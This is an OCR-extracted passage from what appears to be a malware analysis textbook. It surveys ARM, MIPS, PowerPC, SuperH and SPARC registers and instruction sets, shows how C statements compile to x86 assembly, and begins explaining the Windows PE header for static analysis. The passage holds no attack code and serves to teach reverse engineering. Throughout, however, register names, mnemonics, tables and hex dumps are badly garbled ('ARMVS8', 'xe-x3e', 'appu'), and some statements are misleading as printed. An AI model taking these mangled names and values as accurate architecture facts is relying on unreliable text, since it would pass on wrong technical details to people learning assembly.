The number of Floating-Point Registers (FPRs) for a 32-bit architecture may
vary, depending on the core, up to 32.

ARMVS8 (64-bit) has 31 general-purpose xe-x3e (re-r3e Notation can also be found)
and 32 FPRs accessible at all times. The lower part of each register has the W
prefix and can be accessed as we-wsze.

There are several registers that have a particular purpose, as follows:

Name Size Description

XZR/WZR 64/32 bits, respectively Zero register

PC 64 bits Program counter

SP/WSP 64/32 bits, respectively Current stack pointer

ELR 64 bits Exception link register



SPSR 32 bits Saved processor state register

ARMVS8 defines four exception levels (eLe-eL3), and each of the last three
registers gets its own copy of each of them; ELR and SPSR don't have a separate
copy for Eeve.

There is no register called xs1 or ws1; the number 31 in many instructions
represents the zero register, ZR (WZR/XZR). x29 can be used as a frame pointer
(which stores the original stack position), and xse as a link register (which stores
a return value from the functions).

Regarding the calling convention, re-r3 on the 32-bit ARM and xe-x7 on the 64-
bit ARM are used to store argument values passed to functions re-r1 and xe-x7
(and xs, also known as xr indirectly) to hold return results. If the type of the
returned value is too big to fit them, then space needs to be allocated and
returned as a pointer. Apart from this, r12 (32-bit) and xae-x17 (64-bit) can be used
as intra-procedure-call scratch registers (by so-called veneers and procedure
linkage table code), re (32-bit) and x1s (64-bit) can be used as platform registers
(for OS-specific purposes) if needed, otherwise they are used the same way as
other temporaries.

As previously mentioned, there are several CPU modes implemented according
to the official documentation, as follows:

Operating
mode Abbreviation | Description
name
Usual program execution state, used by most
User usr
of the programs




Fast

: fiq Supports data transfer or channel process
interrupt
Interrupt irg Used for general-purpose interrupt handling
Supervisor | svc Protected mode for the OS

Is entered after a data or instruction Prefetch
Abort abt

Abort

Privileged user mode for the OS. Can be
System sys entered only from another privileged mode by

modifying the mode bit of the CPSR
Undefined | und Is entered when an undefined instruction is

executed




Instruction sets

There are several instruction sets available for ARM processors: ARM and
Thumb. A processor that is executing ARM instructions is said to be operating in
the ARM state and vice versa. ARM processors always start in the ARM state,
and then a program can switch to the Thumb state by using a BX instruction.
Thumb Execution Environment (ThumbEE) was introduced relatively
recently in ARMv?7 and is based on Thumb, with some changes and additions to
facilitate dynamically generated code.

ARM instructions are 32 bits long (for both AArch32 and AArch64),

while Thumb and ThumbEE instructions are either 16 or 32 bits long (originally,
almost all Thumb instructions were 16-bit, while Thumb-2 introduced a mix of
16- and 32-bit instructions).

All instructions can be split into the following categories according to the
official documentation:

Instruction Description Examples
Group
These instructions are
used to:
e Follow s: Branch
subroutines ) .
ex: Branch and exchange instruction
e Go forward and
backwards for set
conditional )
Bra?dll and structures and cez: Compare against zero and
contro
loops branch
* ?r/llsatlrizctions 1t: If-then, makes up to four
conditional following instructions conditional
¢ Switch between (32-bit Thumb)
ARM and




Thumb states

Operate with GPRs,
support data aoo: Add
Data movement between
: . wov: Move data
processing registers
and ar%thmetlc wo: Multiply
operations
Lor: Load register (1 byte)
i nglztgg Move data between stre: Store register (1 byte)
registers and memory
store swp: Swap register and memory
content
stv/Lom: Store and load multiple
Multiple Load or store registers to and from memory
register load | multiple GPRs from
and store or to memory pust/pop: Push and pop registers to
and from the stack
Move the content of a | " Move the contents of the CPSR
Status . or SPSR to a GPR MSR; load
. status register (CPSR e 1 g
register specified fields of the CPSR or
or SPSR) to or from a . : .
access GPR SPSR with an immediate value or
another register's value
Extend the ARM
architecture; enable
Coprocessor | control of the system | cop/cor2: Coprocessor data operations

control coprocessor




registers (CP15)

In order to interact with the OS, syscalls can be accessed using the Software
Interrupt (SWI) instruction, which was later renamed the Supervisor Call
(SVC) instruction.

See the official ARM documentation (a link is provided later) to get the exact
syntax for any instruction. Here is an example of how it may look:

| svc{cond} #imm

The {cond} code in this case will be a condition code. There are several condition
codes supported by ARM, as follows:

eq: Equal to

ne: Not equal to

cs/ns: Carry set or unsigned higher or both
cc/Lo: Carry clear or unsigned lower
wi: Negative

pL: Positive or zero

vs: Overflow

ve: No overflow

n1: Unsigned higher

ts: Unsigned lower or both

ce: Signed greater than or equal to
L7: Signed less than

e1: Signed greater than

Le: Signed less than or equal to
e aL: Always (normally omitted)

An imm value stands for the immediate value.



Basics of MIPS

Microprocessor without Interlocked Pipelined Stages (MIPS) was developed
by MIPS technologies (formerly MIPS computer systems). Similar to ARM, at
first, it was a 32-bit architecture with 64-bit functionality added later. Taking
advantage of the RISC ISA, MIPS processors are characterized by low power
and heat consumption. They can often be found in multiple embedded systems
such as routers and gateways, and several video game consoles such as Sony
PlayStation also incorporated them. Unfortunately, due to the popularity of this
architecture, the systems implementing it became a target of multiple IoT
malware families. An example can be seen in the following screenshot:
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Figure 6: IoT malware targeting MIPS-based systems

As the architecture evolved, there were several versions of it, starting from MIPS
I and going up to V, and then several releases of the more recent
MIPS32/MIPS64. MIPS64 remains backward-compatible with MIPS32. These
base architectures can be further supplemented with optional architectural
extensions called Application Specific Extension (ASE) and modules to
improve performance for certain tasks that are generally not used by the
malicious code much. MicroMIPS32/64 are supersets of MIPS32 and MIPS64
architectures respectively, with almost the same 32-bit instruction set and
additional 16-bit instructions to reduce the code size. They are used where code
compression is required, and are designed for microcontrollers and other small
embedded devices.



Basics

MIPS supports bi-endianness. The following registers are available:

e 32 GPRs re-r31, 32-bit size on MIPS32 and 64-bit size on MIPS64.

e A special-purpose PC register that can be affected only indirectly by some
instructions.

e Two special-purpose registers to hold the results of integer multiplication
and division (HI and LO). These registers and related instructions were
removed from the base instruction set in the release of 6 and now exist in
the Digital Signal Processor (DSP) module.

The reason behind 32 GPRs is simple—MIPS uses 5 bits to specify the register,
so this way, we can have a maximum of 2A5 = 32 different values. Two of the
GPRs have a particular purpose, as follows:

e Register ro (sometimes referred to as se or szero) is a constant register and
always stores zero, and provides read-only access. It can be used as a
/dev/null analog to discard the output of some operation, or as a fast source
of a zero value.

e r31 (also known as sra) stores the return address during the procedure call
branch/jump and link instructions.

Other registers are generally used for particular purposes, as follows:

¢ r1 (also known as sat): Assembler is temporary—used when resolving
pseudo-instructions

¢ r2-r3 (also known as sve and svi1): Values—hold return function values

e ra-r7 (also known as sae-saz): Arguments—used to deliver function
arguments

e rg-r15 (also known as ste-$t7/sas-sa7 and st4-st7): Temporaries—the first four
can also be used to provide function arguments in n32 and ne4 calling
conventions (another o32 calling convention uses only rs-r7 registers;
subsequent arguments are passed on the stack)

e ri6-r23 (also known as sse-$s7): Saved temporaries—preserved across
function calls



r24-r25 (also known as sts-st9): Temporaries

r26-r27 (also known as ske-sk1): Generally reserved for the OS kernel
r2s (also known as sgp): Global pointer—points to the global area (data
segment)

r29 (also known as ssp): Stack pointer

rzo (also known as sss or srp): Saved value/frame pointer—stores the
original stack pointer (before the function was called).

MIPS also has the following co-processors available:

CP0: System control

CP1: FPU

CP2: Implementation-specific

CP3: FPU (has dedicated COP1X opcode type instructions)



The instruction set

The majority of the main instructions were introduced in MIPS I and II. MIPS
[T introduced 64-bit integers and addresses, and MIPS IV and V improved
floating-point operations and added a new set to boost the overall efficacy. Every
instruction there has the same length—32 bits (4 bytes), and any instruction
starts with an opcode that takes 6 bits. The following three major instruction
formats supported are R, I, and J:

Instruction .
Syntax Description
category
Specifies three registers: an
optional shift amount field
(for shift and rotate
instructions), and an These instruction are used
R-type optional function field (for when all the data values used
control codes to are located in registers.
differentiate between
instructions sharing the
same opcode).
This group is used when the
instruction operates with a
. : register and an immediate
Specifies two registers and
I-type . . value, for example, the ones
an immediate value. .
that involve memory
operations to store the offset
value.




J-type Has a jump target address They are used to affect the
after the opcode that takes control flow.
the remaining bits.

For the FPU-related operations, the analogous FR and FI types exist.

Apart from this, several other less common formats exist, mainly coprocessors
and extension-related formats.

In the documentation, registers usually have the following suffixes:

e Source (s)
e Target (1)
e Destination (d)

All instructions can be split into the following several groups depending on the
functionality type:

¢ Control flow—mainly consists of conditional and unconditional jumps and
branches:
e Jr: Jump register (J format)
e g.7z: Branch on less than zero (I format)
e Memory access—Iload and store operations:
e 8: Load byte (I format)
e su: Store word (I format)
e ALU-——covers various arithmetic operations:
e appu: Add unsigned (R format)
e xor: Exclusive or (R format)
e s Shift left logical (R format)
e OS interaction via exceptions—interacts with the OS kernel:
e syscaL: System call (custom format)
e greak: Breakpoint (custom format)

Floating-point instructions will have similar names for the same types of
operations in most cases, for example, ADD.S. Some instructions are more
unique such as Check for Equal (C.EQ.D).



As we can see here and later, the same basic groups can be applied to virtually
any architecture, and the only difference will be in the implementation. Some
common operations may get their own instructions to benefit from optimizations
and, in this way, reduce the size of the code and improve the performance.

As the MIPS instruction set is pretty minimalistic, the assembler macros
called pseudo-instructions also exist. Here are some of the most commonly used:

ass: Absolute value—translates to a combination of abou, Beez, and sus

sLT: Branch on less than—translates to a combination of s.t and ene

BGT/BeE/BLE: Similar to sLT

L1/La: Load immediate/address—translates to a combination of Lur and orz or

aop1u for a 16-bit LI

¢ wove: Moves the content of one register into another—translates to apbo/abb1u
with a zero value

e nor: No operation—translates to s.. with zero values

e vor: Logical nor—translates to nor



Diving deep into PowerPC

PowerPC stands for Performance Optimization With Enhanced RISC—
Performance Computing and sometimes spelled as PPC. It was created in the
early 1990s by the alliance of Apple, IBM, and Motorola (commonly
abbreviated as AIM). It was originally intended to be used in PCs and was
powering Apple products including PowerBooks and iMacs up until 2006. The
CPUs implementing it can also be found in game consoles such as Sony
PlayStation 3, XBOX 360, and Wii, and in IBM servers and multiple embedded
devices, such as car and plane controllers and even in the famous ASIMO robot.
Later, the administrative responsibilities were transferred to an open standards
body, Power.org, where some of the former creators remained members, such as
IBM and Freescale. They then separated from Motorola and were later acquired
by NXP Semiconductors, as well as many new entities. The OpenPOWER
Foundation is a newer initiative by IBM, Google, IBM, NVIDIA, Mellanox, and
Tyan, which is aiming to facilitate collaboration in the development of this
technology.

PowerPC was mainly based on IBM POWER ISA and, later, a unified Power
ISA was released, which combined POWER and PowerPC into a single ISA that
is now used in multiple products under a Power Architecture umbrella term.

There are plenty of IoT malware families that have payloads for this architecture.



Basics

The Power ISA is divided into several categories; each category can be found in
a certain part of the specification or book. CPUs implement a set of these
categories depending on their class; only the base category is an obligatory one.
Here is a list of the main categories and their definitions in the latest second
standard:

e Base: Covered in Book I (Power ISA User Instruction Set Architecture) and
Book II (Power ISA Virtual Environment Architecture)

e Server: Covered in Book III-S (Power ISA Operating Environment
Architecture — Server Environment)

e Embedded: Book III-E (Power ISA Operating Environment Architecture —
Embedded Environment)

There are many more granular categories covering aspects such as floating-point
operations and caching for certain instructions.

Another book, Book VLE (Power ISA Operating Environment Architecture —
Variable Length Encoding (VLE) Instructions Architecture), defines alternative
instructions and definitions intended to increase the density of the code by using
16-bit instructions as opposed to the more common 32-bit ones.

Power ISA version 3 consists of three books with the same names as Books I to
IIT of the previous standard, without distinctions between environments.

The processor starts in the big-endian mode but can switch by changing a bit in
the MSR (Machine State Register), so that bi-endianness is supported.

There are many sets of registers documented in Power ISA, mainly grouped
around either an associated facility or a category. Here is a basic summary of the
most commonly used ones:

e 32 GPRs for integer operations, generally used by their number only (64-
bit)
e 64 Vector Scalar Registers (VSRs) for vector operations and floating-point



operations:
e 32 Vector Registers (VRs) as part of the VSRs for vector operations
(128-bit)
e 32 FPRs as part of the VSRs for floating-point operations (64-bit)
e Special purpose fixed-point facility registers, such as the following:
¢ Fixed-point exception register (XER)—contains multiple status bits
(64-bit)
¢ Branch facility registers:
e Condition Register (CR)—consists of 8 4-bit fields, cro-cr7, involving
things like control flow and comparison (32-bit)
e Link Register (LR)—provides the branch target address (64-bit)
e Count Register (CTR)—holds a loop count (64-bit)
o Target Access Register (TAR)—specifies branch target address (64-
bit)
e Timer facility registers:
¢ Time Base (TB)—is incremented periodically with the defined
frequency (64-bit)
e Other special purpose registers from a particular category, including the
following:
e Accumulator (ACC) (64-bit)—the Signal Processing Engine (SPE)
category

Generally, functions can pass all arguments in registers for non-recursive calls;
additional arguments are passed on the stack.



The instruction set

Most of the instructions are 32-bit size, only the Variable-Length

Encoding (VLE) group is smaller in order to provide a higher code density for
embedded applications. All instructions are split into the following three
categories:

¢ Defined: All of the instructions are defined in the Power ISA books.

e Illegal: Available for future extensions of the Power ISA. An attempt to
execute them will invoke the illegal instruction error handler.

e Reserved: Allocated to specific purposes that are outside the scope of the
Power ISA. An attempt to execute them will either perform an implemented
action or invoke the illegal instruction error handler if the implementation is
not available.

Bits 0 to 5 always specify the opcode, and many instructions also have an
extended opcode. A large number of instruction formats are supported; here are
some examples:

® I-FORM [OPCD+LI+AA+LK]
® B-FORM [OPCD+BO+BI+BD+AA+LK]

Each instruction field has its own abbreviation and meaning; it makes sense to
consult the official Power ISA document to get a full list of them and their
corresponding formats. In the case of the previously mentioned I-FORM, they
are as follows:

e orco: Opcode

¢ 1: Immediate field used to specify a 24-bit signed two's complement
integer

e aa: Absolute address bit

e «: Link bit affecting the link register

Instructions are also split into groups according to the associated facility and
category, making them very similar to registers:

e Branch instructions:



® b/ba/bl/bla: Branch
® bc/bea/bel/bela: Branch conditional
e sc: System call

e Fixed-point instructions:

1bz: Load byte and zero

stb: Store byte

addi: Add immediate

ori: Or immediate

¢ Floating-point instructions:

e nr: Floating move register

e 1fs: Load floating-point single

e strd: Store floating-point double
e SPE instructions:

e princ: Bit-reversed increment



Covering the SuperH assembly

SuperH, often abbreviated as SH, is a RISC ISA developed by Hitachi. SuperH
went through several iterations, starting from SH-1 and moving up to SH-4. The
more recent SH-5 has two modes of operation, one of which is identical to the
user-mode instructions of SH-4, while another, SHmedia, is quite different. Each
family takes its own market niche:

SH-1: Home appliances

SH-2: Car controllers and video game consoles such as Sega Saturn
SH-3: Mobile applications such as car navigators

SH-4: Car multimedia terminals and video game consoles such as Sega
Dreamcast

e SH-5: High-end multimedia applications

Microcontrollers and CPUs implementing it are currently produced by Renesas
Electronics, a joint venture of the Hitachi and Mitsubishi Semiconductor groups.
As IoT malware mainly targets SH-4-based systems, we will focus on this
SuperH family.



Basics

In terms of registers, SH-4 offers the following:

e 16 general registers re-r15 (32-bit)
e 7 control registers (32-bit):
Global Base Register (GBR)
Status Register (SR)
Saved Status Register (SSR)
Saved Program Counter (SPC)
Vector Base Counter (VBR)
Saved General Register (SGR) 15
e Debug Base Register (DBR) (only from the privileged mode)
e 4 system registers (32-bit):
e MACH/MACL: Multiply-and-accumulate registers
e PR: Procedure register
e PC
e FPSCR: Floating-point status/control register
e 32 FPU registers rro-rr15 (also known as ore/2/4/... or Fvesas...) and xre-xris
(also known as xpes2/4/. .. or xwtrx); two banks of either 16 single-precision
(32-bit) or eight double-precision (64-bit) FPRs and FPUL (floating-point
communication register) (32-bit)

Usually, ra-r7 are used to pass arguments to a function with the result returned in
ro. Re-r13 are saved across multiple function calls. r14 serves as the frame pointer
and ris as a stack pointer.

Regarding the data formats, in SH-4, a word takes 16 bits, a long word takes 32
bits, and a quad word takes 64 bits.

Two processor modes are supported: user mode and privileged mode. SH-4
generally operates in the user mode and switches to the privileged mode in case
of an exception or an interrupt.



The instruction set

The SH-4 features instruction set is upward-compatible with the SH-1, SH-2,
and SH-3 families. It uses 16-bit fixed length instructions in order to reduce the
program code size. Except for BF and BT, all branch instructions and the

RTE (return from exception instruction) implement so-called delayed branches,
where the instruction following the branch is executed before the branch
destination instruction.

All instructions are split into the following categories (with some examples):

e Fixed-point transfer instructions:
e wov: Move data (or particular data types specified)
e swap: Swap register halves
e Arithmetic operation instructions:
e sus: Subtract binary numbers
e cvp/eQ: Compare conditionally (in this case on equal to)

e [.ogic operation instructions:
e anp: anp logical
e xor: Exclusive or logical
e Shift instructions:
e roTL: Rotate left
e suL: Shift logical left
¢ Branch instructions:
¢ &r: Branch if false
e Jwe: Jump (unconditional branch)
e System control instructions:
e oc: Load to control register
e s1s: Store system register
¢ Floating-point single-precision instructions:
e rvov: Floating-point move
e Floating-point double-precision instructions:
e rass: Floating-point absolute value
¢ Floating-point control instructions:
e os: Load to FPU system register



¢ Floating-point graphics acceleration instructions
e rrpr: Floating-point inner product



Working with SPARC

Scalable Processor Architecture (SPARC) is a RISC ISA that was originally
developed by Sun Microsystems (now part of the Oracle corporation). The first
implementation was used in Sun's own workstation and server systems. Later, it
was licensed to multiple other manufacturers, one of them being Fujitsu. As
Oracle terminated SPARC Design in 2017, all future development continued
with Fujitsu as the main provider of SPARC servers.

Several fully open source implementations of SPARC architecture exist.
Multiple operating systems are currently supporting it, including Oracle Solaris,
Linux, and BSD systems, and multiple IoT malware families have dedicated
modules for it as well.



Basics

According to the Oracle SPARC Architecture documentation, the particular
implementation may contain between 72 and 640 general-purpose 64-bit R
registers. However, only 31/32 GPRs are immediately visible at any one time; 8
are global registers, r[o] to r[7] (also known as ge-g7), with the first register, go,
hardwired to 0; and 24 are associated with the following register windows:

e FEight in registers in[e]-in[7] (R[24]1-R[31]): FOr passing arguments and
returning results

e FEight local registers 1ocalfe]-local[7] (R[16]1-R[23]): For retaining local
variables

e FEight out registers out[e]-out[7] (R[8]-R[15]): FOr passing arguments and
returning results

The caLL instruction writes its own address into the out[7] (R[15]) register.

In order to pass arguments to the function, they must be placed in the out
registers and, when the function gets control, it will access them in its in
registers. Additional arguments can be provided through the stack. The result is
placed to the first in register, which then becomes the first out register when the
function returns. The save and restore instructions are used in this switch to
allocate a new register window and later restore the previous one, respectively.

SPARC also has 32 single-precision FPRs (32-bit), 32 double-precision FPRs
(64-bit), and 16 quad-precision FPRs (128- bit), some of which overlap.

Apart from that, there are many other registers that serve specific purposes,
including the following:

e FPRS: Contains the FPU mode and status information
e Ancillary state registers (ASR 0, ASR 2-6, ASR 19-22, and ASR 24-28
are not reserved): Serve multiple purposes, including the following:
e ASR 2: Condition Codes Register (CCR)
e ASR 5: PC
e ASR 6: FPRS



¢ ASR 19: General Status Register (GSR)

¢ Register-Window PR state registers (PR 9-14): Determine the state of the
register windows including the following:
e PR 9: Current Window Pointer (CWP)
¢ PR 14: Window State (WSTATE)
¢ Non-register-Window PR state registers (PR 0-3, PR 5-8 and PR 16):
Visible only to software running in the privileged mode

32-bit SPARC uses big-endianness, while 64-bit SPARC uses big-endian
instructions but can access data in any order. SPARC also uses a notion of traps
that implement a transfer of control to privileged software using a dedicated
table that may contain the first 8 instructions (32 for some frequently used traps)
of each trap handler. The base address of the table is set by software in a Trap
Base Address (TBA) register.



The instruction set

The instruction from the memory location, which is specified by the PC, is
fetched and executed, and then new values are assigned to the PC and the Next
Program Counter (NPC), which is a pseudo-register.

Detailed instruction formats can be found in the individual instruction
descriptions.

Here are the basic categories of instructions supported with examples:

e Memory access:
e pus: Load unsigned byte
e s1: Store
¢ Arithmetic/logical/shift integers:
e aop: Add
e sii: Shift left logical
e Control transfer:
e &e: Branch on equal
e gweL: Jump and link
e cacc: Call and link
e return: Return from the function
e State register access:
e wrccr: Write CCR

¢ Floating-point operations:
e ror: Logical or for r registers
¢ Conditional move:
e wovcc: Move if the condition is True for the selected condition code (cc)
e Register window management:
e save: Save caller's window
e rLushw: Flush register Windows
¢ Single Instruction Multiple Data (SIMD) instructions:
e rpsus: Partitioned integer subtraction for r registers



From assembly to high-level
programming languages

Developers mostly don't write in assembly. Instead, they write in higher-level
languages, such as C or C++, and the compiler converts this high-level code into
a low-level representation in assembly language. In this section, we will look at
different code blocks represented in the assembly.



Arithmetic statements

Now we will look at different ¢ statements and how they are represented in the
assembly. We will take Intel IA-32 as an example and the same concept applies
to other assembly languages as well:

[ ]
x
1

s0 (assuming exece1eeee is the address of the x variable in memory):

‘ mov eax, 50

mov

[ ]
x
1

dword ptr [00010000h],eax

v+50 (assuming exeee10000 represents x and exooo2e000 represents v):

add eax, 50

‘ mov eax, dword ptr [00020000h]

mov dword ptr [00010000h], eax

® X = Y+ (50*2):

® X =Y+ (50/2):

mov
mov
div
mov
pop
add
mov

mov eax, dword ptr [00020000h]
push eax ;save Y for now

mov eax, 50 ;do the multiplication first
mov ebx, 2

imul ebx ;the result is in edx:eax

mov ecx, eax

pop eax ;gets back Y value

add eax, ecx

mov dword ptr [00010000h], eax

mov eax, dword ptr [00020000h]
push eax ;save Y for now

eax, 50

ebx, 2

ebx ;the result in eax, and the remainder is in edx
ecx, eax

eax

eax, ecx

dword ptr [00010000h],eax

® x = v+ (50 % 2) (% represents the remainder or the modulus):

mov eax, dword ptr [00020000h]
push eax ;save Y for now

mov
mov

eax, 50
ebx, 2



div ebx ;the reminder is in edx
mov ecx, edx

pop eax

add eax, ecx

mov dword ptr [00010000h], eax

Hopefully, this explains how the compiler converts these arithmetic statements to
assembly language.



If conditions

Basic 1r statements may look like this:

e 1f (x == 50) (assuming execo1000 represents the x variable):

mov eax, 50
cmp dword ptr [00010000h], eax

e 1f (x | eeee1000b) (| represents the or logical gate):

mov eax, 000001000b
test dword ptr [00010000h],eax

In order to understand the branching and flow redirection, let's take a look at the
following diagram to see how it's manifested in pseudocode:



IF..THEN..ELSE..ENDIF IF..THEN..ENDIF

Test for some condition Test for some condition
v
v
Block 1
Block 1
Block 2 < b
A 4
Block 2
Block 3

Figure 7: Conditional flow redirection

To apply this branching sequence in assembly, the compiler uses a mix of
conditional and unconditional jmps, as follows:

® TIF.. THEN.. ENDIF:

cmp dword ptr [00010000h],50
jnz 3rd_Block ; if not true

Some Code
3rd_Block:

Some code

® TIF.. THEN.. ELSE.. ENDIF:.



cmp dword ptr [00010000h], 50
jnz Else_Block ; if not true

ééﬁe code

iﬁé 4th_Block ;Jump after Else
Else_Block:

ééﬁe code

4£ﬁ_Block:

Some code



While loop conditions

The while loop conditions are quite similar to ir conditions in terms of how they

are represented in assembly:

1st_Block:
cmp dword ptr [00010000h], 50

While (X == 50){ jnz 2nd_Block ; if not true
} jmp 1st_Block
2nd_Block:
1st_Block:
Do{ -
Iwhile(X == 50) Cmp dword ptr [00010000h], 50

Jz 1st_Block ; if true




Summary

In this chapter, we covered the essentials of computer programming and
described universal elements shared between multiple CISC and RISC
architectures. Then, we went through multiple assembly languages including the
ones behind Intel x86, ARM, MIPS, and others, and understood their application
areas, which eventually shaped the design and structure. We also covered the
fundamental basics of each of them, learned the most important notions (such as
the registers used and CPU modes supported), got an idea of how the instruction
sets look, discovered what opcode formats are supported there, and explored
what calling conventions are used.

Finally, we went from the low-level assembly languages to their high-level
representation s3 in C or other similar languages, and became familiar with a set
of examples for universal blocks, such as if conditions and loops.

After reading this chapter, you should have the ability to read the disassembled
code of different assembly languages and be able to understand what high-level
code it could possibly represent. While not aiming to be completely
comprehensive, the main goal of this chapter is to provide a strong foundation,
as well as a direction that you can follow in order to deepen your knowledge
before starting analysis on actual malicious code. It should be your starting point
for learning how to perform static code analysis on different platforms and
devices.

In chapter 2, Basic Static and Dynamic Analysis for x86/x64, we will start
analyzing the actual malware for particular platforms, and the instruction sets we
have become familiar with will be used as languages describing its functionality.



Section 2: Diving Deep into Windows
Malware

With Windows remaining the most prevalent operating system for the PC, there
is no surprise that the vast majority of existing malware families are focused on
this platform. Moreover, a lot of attention and the number of high-profile actors
led to Windows malware featuring multiple diverse and sophisticated techniques
not common to other systems. Here, we will cover them in great detail and teach
you how to analyze them using multiple real-world examples. The following
chapters are included in this section:

Chapter
Chapter
Chapter
Chapter

Chapter

2, Basic Static and Dynamic Analysis for x86/x64
3, Unpacking, Decryption, and Deobfuscation

a, Inspecting Process Injection and API Hooking

s, Bypassing Anti-Reverse Engineering Techniques
6, Understanding Kernel-Mode Rootkits



Basic Static and Dynamic Analysis
for x86/x64

In this chapter, we are going to cover the core fundamentals that you need to
know in order to analyze a 32-bit or a 64-bit malware in the Windows platform.
We will cover the Windows Portable Executable file header (PE header) and
look at how it can help us answer different incident handling and threat
intelligence questions.

We will also walk through the concepts and the basics of static and dynamic
analysis, including process and threads, process creation flow, and WOW64
processes. At the end, we will cover the debugging process, setting breakpoints,
and alerting the program execution.

This chapter will help you do the basic static and dynamic analysis of malware
samples and help you understand the theory and equip you with the practical
knowledge. Additionally, we will learn about the tools needed for malware
analysis.

This chapter is divided into the following sections to facilitate the learning
process:

Working with the PE header structure

Static and dynamic linking

Using PE header information for static analysis

PE loading and process creation

Dynamic analysis with OllyDbg/immunity debugger



Working with the PE header
structure

When you start to perform basic static analysis on a file, your first valuable piece
of information will be the PE header. The PE header is basically a structure that
any executable Windows file follows.

It keeps various information, such as supported systems, memory layout for
sections containing code and data (such as strings, pictures, and so on), and
various metadata, helping the system load and execute a file properly.

In this section, we will explore the PE header structure and learn how we can
analyze a PE file and read its information.



Why PE?

The portable executable structure or design was able to solve multiple issues that
appeared in previous structures, such as MZ for MS-DOS executables or the
early stages of COM structures. It represents a quite complete design for any
executable file. Some of the features of the PE structure are as follows:

¢ [t detaches the code and the data in sections, making it easy to manage the
data separately from the program and link any string back in the assembly
code.

e FEach section has separate memory permissions, which are basically a layer
of security over the virtual memory of each program running to allow or
deny reading from a specific page of memory, writing to a specific page of
memory, or executing code in a specific page of memory. A page of
memory is exieee bytes, which is 4,096 bytes in decimal.

e The file is expandable in memory (less size on a hard disk), which allows
creating space for uninitialized variables (or variables that are not important
to include a specific value before the application uses them) and, at the
same time, saves space on the hard disk and does not fill it with empty
bytes or zeros.

e Supports dynamic linking (via export and import tables), which is a very
important technology that we will talk about later in this chapter.

e Supports relocation, which allows the program to be loaded in a different
place in memory from that it was designed to be loaded in.

e Supports resource section, and it can as well package any additional files,
images, or icons with the program in one executable file.

e Portable for multiple processors, subsystems, and types of files, which
allows the PE structure to be used across many platforms, processors, and
devices, such as Windows CE and Windows mobile.



Exploring PE structure

Here, we will cover the structure of an executable file in the Windows operating
system. This structure is used by Microsoft to represent an executable file or a
third-party library in the Windows operating system across multiple devices,
such as PCs, tablets, and mobile devices.



MZ header

Early in the MS-DOS era, Windows and DOS co-existed, and both had their
executable files with the same extension, .exe. So, each Windows application had
to start with a small DOS application that prints a message, this program cannot be
run in DOs mode (Or any similar message). So, when a windows application get
executed in the DOS environment, the small DOS application at the start of it
will get executed and prints this message to the user to run it on Windows
environment. In the following figure, you can see the Executable file header
starting with the DOS program DOS MZ Header:

MZ Header

PE Header

Section Header

Sections

text

.data

Figure 1: Example PE structure

This DOS header starts with MZ and the header ends with a field called e_ifanew,
which points to the start of the portable executable header, or PE header.



PE header

The PE header starts with two letters, PE, followed by two important headers,
which are a file header and an optional header, and later on, all the additional
headers pointed to by the data directory array.



File header

The most important values from this header are as follows:

Signature 'PE', 0, 0
Qffset:dud@ . !
G74500°00-4CNR #3°08-00 09 09 00-00 00 20 09 PE..L........... Machmel . 0x14c [intel 386)
08 60 09 00-EONER 020]. .. "R Numberofsections 3

Sizeofoptionalieader | Oxel
Characteristics 0x102 [32b EXE]

Figure 2: File header explained

e wmachine: This field represents the processor type, for example, the value ox14c
represents Intel 386 or later processors.

® numberofsections: This value represents the number of sections that follow the
headers, such as the code section, data section and resources section (for
files or images).

® Timepatestamp: This is the exact date and time that this program was compiled.
It's very useful for threat intelligence and creating the timeline of the attack.

® characteristics: This value represents the type of the executable file, is it a
program, a dynamic link library (we will cover it later in the chapter), or
maybe a driver?



Optional header

Following the file header, the optional header comes with way more information,
as shown here:

e Magic _ 0x10b [32b]
N UL Addressofentrypoint | 0x1000
0 08 00 06-80 00 00 0o-GANIGNEANGG-00 00 08 00 | ............ o, | HRIRAE Uxsdoioy
e e Sectionlignment 0x1000
66 60 60 60-ARNAANIBNGR- 40710786700 -0e"e2ne0ee | ...... | [ F e et 0200
86 00 60 66-09 66 06 6-B4"GA 66 06-60 60 00 8 | ................ winseibsystobtiestan | 4 [T i of ik
GEMAARGANGH-G90620000B6-99 09 00 06-T20GR 09 00 | 6.............. cize0fage 00
86 00 66 66-00 06 06 66-00 60 00 06-60 60 00 8 | ................ Size0fHeaders 0x200
00 66 6o oo-foéGNemee.. @000 ... Subsysten 2 [aU1]

NumberOfRvaAndSizes 16

Figure 3: Optional header explained

The most important values from this header are as follows:

e wmagic: This identifies the type of the system or the PE file (if it's x86 or x64).

® addressofentrypoint: This is a very important field for our analysis and it
points to the starting point of program execution (to the first assembly
instruction to be executed in the program).

® 1magesase: Lhis is the address where the program was designed to be loaded
in the virtual memory. If the program has a relocation section, it can be
moved somewhere else if it will overlap with another executable loaded in
the same address.

® sectionaAlignment: The size of each section and all headers' size should be
aligned to this value while loaded in the memory (generally, this value is
0x1000).

® rilealignment: The size of each section in the PE file (and as well the size of
all headers) has to be aligned to this number (for example, for a section
with size ex1164 and file alignment ox200, the section size will be changed
to ox1200 on the hard disk).

® wMajorsubsystemversion: This represents the minimum Windows version to run



the application, such as Windows XP or Windows 7.

® sizeofimage: Lhis is the size of the whole application in memory (usually, it's
larger than the size of the file on the hard disk due to uninitialized data and
other reasons).

® sizeofHeaders: This the size of all headers.

® subsystem: This could be a Windows UI application or a console application,
or could even run on other Windows subsystems, such as Microsoft POSIX.



Data directory

The data directory array points to the other optional headers that might be
included in the executable and are not necessary included in every application.

It includes 16 entries with this format:

¢ Address: This points to the beginning of the header in memory (relative to
the start of the file).
e Size: This is the size of the header.

Address Size

The data directory array includes many different values; not all of them are that
important for malware analysis, but some of the important blocks to mention are
as follows:

e Import table: This represents the code functions (or APIs) that this
program doesn't include but wants to import from other executable files or
libraries of code (or DLLsSs).

e Export table: This represents the code functions (or APIs) that this
program includes in its code and is willing to export and allow other
applications to use, rather than rewrite them from scratch.

e Resource table: This is always located at the start of the resource section
and its purpose is to represent the packages' files with the program, such as
icons, images, and others.

¢ Relocation table: This is always located at the start of the
relocation section and it's used to fix addresses in the code when the PE file
is loaded to another place in memory.

e TLS table: Thread Local Storage could be used to bypass debuggers, and
will be explained later.



Section table

Following the 16 entries of the data directory array come the section headers.
This is a list of headers with each header representing a section of the PE file.
The number of headers in total is the exact number stored in the numberofsections
field in FileHeader.

The section header is a very simple header and it looks like this:

Sections table
R'u'.h* R‘-.I'.fn* physical size physical ofset
Name VirtualSize VirtualAddress SizeOfRawData PointerToRawData Characteristics
